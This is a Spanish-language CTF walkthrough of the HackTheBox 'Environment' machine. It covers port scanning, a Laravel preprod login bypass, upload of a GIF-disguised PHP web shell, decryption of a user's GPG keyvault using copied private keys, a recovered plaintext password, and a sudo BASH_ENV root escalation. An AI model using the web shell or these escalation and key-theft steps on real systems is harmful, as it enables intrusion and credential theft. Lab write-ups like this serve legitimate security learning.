Environment

Enumeración:
───────┬──────────────────────────────────────────────────────────────────────────
│ File: targeted
───────┼──────────────────────────────────────────────────────────────────────────
1 │ # Nmap 7.95 scan initiated Thu Jun 26 20:21:45 2025 as: /usr/lib/nmap/nma
│ p --privileged -sC -sV -p22,80 -oN targeted 10.10.11.67
2 │ Nmap scan report for environment.htb (10.10.11.67)
3 │ Host is up (0.15s latency).
4 │
5 │ PORT STATE SERVICE VERSION
6 │ 22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u5 (protocol 2.0)
7 │ | ssh-hostkey:
8 │ | 256 5c:02:33:95:ef:44:e2:80:cd:3a:96:02:23:f1:92:64 (ECDSA)
9 │ |_ 256 1f:3d:c2:19:55:28:a1:77:59:51:48:10:c4:4b:74:ab (ED25519)
10 │ 80/tcp open http nginx 1.22.1
11 │ |_http-title: Save the Environment | environment.htb
12 │ |_http-server-header: nginx/1.22.1
13 │ Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
14 │
15 │ Service detection performed. Please report any incorrect results at https
│ ://nmap.org/submit/ .
16 │ # Nmap done at Thu Jun 26 20:22:01 2025 -- 1 IP address (1 host up) scann
│ ed in 15.14 seconds
Entramos a ver la web:

A simple vista no podemos ver mucho.
Enumeración de rutas, archivos ocultos y recursos accesibles mediante herramientas de fuerza bruta como feroxbuster
y dirsearch
, con el objetivo de identificar superficies de ataque en aplicaciones web.

Se encontró un login:

Manipulación del entorno a través de parámetros GET en Laravel
Lo pasamos al Burp Suite:

Cambiamos el parametro
remembe=true
porfalse
o puede ser cualquier valor


// No hay un "else" para cualquier otro valor
Este código significa que en Laravel , si el entorno actual es "preprod"
(entorno de preproducción), iniciará sesión automáticamente como user_id = 1
usuario y saltará a la página de administración en segundo plano.

Buscamos un payload:



Se puede acceder al usuario user_id=1
:

Carga de archivos

Nuestro código:
GIF87a
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="text" name="cmd" id="cmd" size="80">
<input type="submit" value="Execute">
</form>
<pre>
<?php
if (isset($_GET['cmd'])) {
system($_GET['cmd']);
}
?>
</pre>
</body>
<script>
document.getElementById("cmd").focus();
</script>
</html>
Lo cargamos:

Subido con Exitó:
Para verificar entramos por la web a ver el archivo subido:

Enviar el comando de reverse shell desde el formulario

Listo:

Desencriptar archivos .gpg
Exploración de archivos sensibles en el home del usuario hish
hish
Estando como www-data
(shell web):
cd /home/hish/backup
ls -al
➡️ Encuentra un archivo keyvault.gpg
, probablemente encriptado con GPG.

Copiar el directorio .gnupg
del usuario hish
.gnupg
del usuario hish
Ya que no tiene permisos para usar .gnupg
directamente, lo copia a /tmp
:
cp -r /home/hish/.gnupg /tmp/mygnupg
chmod -R 700 /tmp/mygnupg
🔐 Este directorio contiene claves privadas necesarias para desencriptar archivos .gpg
.
Verificar que existen claves privadas:
gpg --homedir /tmp/mygnupg --list-secret-keys
Desencriptar keyvault.gpg
usando las claves copiadas
gpg --homedir /tmp/mygnupg --output /tmp/message.txt --decrypt /home/hish/backup/keyvault.gpg
Esto genera un archivo message.txt
con contraseñas almacenadas en texto plano.

hish
para el sistema es marineSPm@ster!!
Privilege Escalation via BASH_ENV
and env_keep
in sudo
BASH_ENV
and env_keep
in sudoY si tienes el permiso especial con BASH_ENV
, usas el bypass para root:

echo 'bash -p' > exp.sh
chmod +x exp.sh
sudo BASH_ENV=./exp.sh /usr/bin/systeminfo
¡Boom! Ahora eres root y puedes:

Last updated